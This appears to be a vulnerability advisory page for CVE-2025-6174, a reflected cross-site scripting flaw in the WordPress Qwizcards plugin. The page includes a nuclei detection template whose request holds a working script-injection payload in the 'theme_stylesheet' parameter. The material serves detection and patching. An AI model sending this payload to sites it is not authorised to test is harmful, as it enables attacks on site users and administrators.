CVE-2025-6174· CWE-79
WordPress Qwizcards < 3.95 - Cross-Site Scripting (Reflected)
mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
47%of all CVEs are less likely
Readycheck to confirm it
The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the "theme_stylesheet" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.
Impact
Attackers can execute scripts in the context of high privilege users, potentially leading to account compromise or session hijacking.
Fix
Update to the latest version beyond 3.9.4.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/qwiz-online-quizzes-and-flashcards/qwiz_admin_sample_buttons.php?theme_stylesheet="><script>alert('{{randstr}}')</scri…
Positive when: contains "<script>alert('{{randstr}}')</script>" and "rel=\"stylesheet\"" and "qwiz_button" AND status 200Run it with nuclei: nuclei -id CVE-2025-6174 -u <target>
The full check
id: CVE-2025-6174
info:
name: WordPress Qwizcards < 3.95 - Cross-Site Scripting (Reflected)
author: 0x_Akoko
severity: medium
description: |
The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the "theme_stylesheet" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.
impact: |
Attackers can execute scripts in the context of high privilege users, potentially leading to account compromise or session hijacking.
remediation: |
Update to the latest version beyond 3.9.4.
reference:
- https://wpscan.com/vulnerability/ff827f67-712e-4ab6-b6aa-7f5e6ff1283a/
- https://nvd.nist.gov/vuln/detail/CVE-2025-6174
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-6174
epss-score: 0.00563
epss-percentile: 0.47164
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
tags: cve,cve2025,qwizcards,wordpress,wp-plugin,xss,unauth,vkev,vuln
variables:
randstr: "{{rand_base(8)}}"
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/qwiz-online-quizzes-and-flashcards/qwiz_admin_sample_buttons.php?theme_stylesheet=\"><script>alert('{{randstr}}')</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert('{{randstr}}')</script>"
- "rel=\"stylesheet\""
- "qwiz_button"
condition: and
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/ff827f67-712e-4ab6-b6aa-7f5e6ff1283a/
- https://nvd.nist.gov/vuln/detail/CVE-2025-6174
Use this check only on systems you are authorised to test. Where the data comes from